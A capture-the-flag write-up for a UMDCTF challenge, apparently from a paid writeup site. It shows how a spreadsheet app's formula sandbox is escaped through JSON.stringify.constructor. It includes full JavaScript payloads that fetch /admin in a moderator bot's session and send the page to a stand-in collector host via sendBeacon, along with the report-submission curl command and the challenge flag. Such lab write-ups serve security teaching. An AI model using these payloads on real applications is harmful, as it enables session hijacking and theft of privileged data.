$ cat writeup.md…
$ cat writeup.md…
umdctf
Task: a public Next.js spreadsheet evaluates attacker-controlled formulas inside a fake sandbox and lets users report shared sheets to a moderator bot. Solution: escape the formula runtime via JSON.stringify.constructor, execute same-origin JavaScript in the bot's internal web:3000 context, fetch /admin, and exfiltrate the admin page.
Share your market insights with the world.
The challenge consists of a public Next.js spreadsheet app and a separate bot service that accepts a sheetId via POST /report. The bot claims that a moderator opens and exports the shared workbook in a disposable browser session.
The goal is to turn control over a workbook cell into code execution inside the moderator session, then use that access to retrieve the flag.
The public workbook pages embed initialCells directly into the HTML, so any stored formula is evaluated when the sheet is opened. Recon on the downloaded client chunk (sheet_chunk.js) showed that formulas are executed with the following pattern:
Function("S", `with (S) { "use strict"; return (${expr}); }`)(proxy)
The intended sandbox exposes a proxy with selected names such as:
MathJSON.parse / JSON.stringifyNumber, String, Boolean, RegExpparseInt, parseFloat, isNaN, isFinitedocument (proxied)cells(ref)That is already dangerous, but the core bug is worse: the code tries to enable strict mode inside a with block. That directive is ineffective here, so the attacker-controlled expression runs in sloppy mode.
Once any normal function object is reachable, the sandbox can be escaped through its constructor, which is the global Function constructor. Because JSON.stringify is exposed, this escape is enough:
JSON.stringify.constructor("return this")()
That returns the global object (window). From there, the spreadsheet formula can reach browser APIs such as XMLHttpRequest and navigator.sendBeacon.
Two additional observations shaped the final exploit:
{"ok":false,"error":"not_owner"}. So the path is not horizontal sheet takeover.openinsight_session cookie is HttpOnly, so classic cookie theft from JavaScript is not useful.That means the correct approach is same-origin JavaScript execution inside the moderator's own session.
Local testing confirmed that formulas can execute JavaScript and send outbound requests. After submitting the attacker workbook to the bot, the exfiltrated request showed that the moderator did not open the public hostname directly. Instead, the workbook was rendered from an internal URL:
http://web:3000/sheets/<SHEET_ID>
That pivot mattered: from this internal origin, GET /admin returned HTTP 200. So the exploit becomes:
/admin with same-origin privileges.The captured admin HTML contained the master flag.
Create a normal user account, then create a workbook that you own. Put the malicious formula into a cell so it executes whenever the shared workbook is opened.
Readable reusable payload:
=(() => { const w = JSON.stringify.constructor("return this")(); const x = new w.XMLHttpRequest(); x.open("GET", "/admin", false); x.send(); w.navigator.sendBeacon( "https://collector.example/<REDACTED_TOKEN>", "URL=" + w.location.href + "\n" + "STATUS=" + x.status + "\n\n" + x.responseText ); return "ok"; })()
Compact cell formula version:
=(()=>{const w=JSON.stringify.constructor("return this")();const x=new w.XMLHttpRequest();x.open("GET","/admin",false);x.send();w.navigator.sendBeacon("https://collector.example/<REDACTED_TOKEN>","URL="+w.location.href+"\nSTATUS="+x.status+"\n\n"+x.responseText);return"ok"})()
Why it works:
JSON.stringify.constructor gives access to FunctionFunction("return this")() returns the real global object/adminsendBeacon leaks the admin HTML to an external endpointSubmit the sheet to the report endpoint:
curl -X POST 'https://open-insight-bot.challs.umdctf.io/report' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'sheetId=<SHEET_ID>'
The returned data showed that the workbook was opened from the internal origin and that /admin was accessible there. The saved evidence included the exfiltrated admin page and request log.
The relevant section of the admin page exposed:
Master flag UMDCTF{r0ll_y0ur_0wn_s4nit1zat1on}
The following local files were useful during analysis and verification:
tasks/umdctf/open-insight/sheet_chunk.jstasks/umdctf/open-insight/bot_admin_page.htmltasks/umdctf/open-insight/webhook_requests.jsonEphemeral collector URLs and local credentials are intentionally redacted in this writeup.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar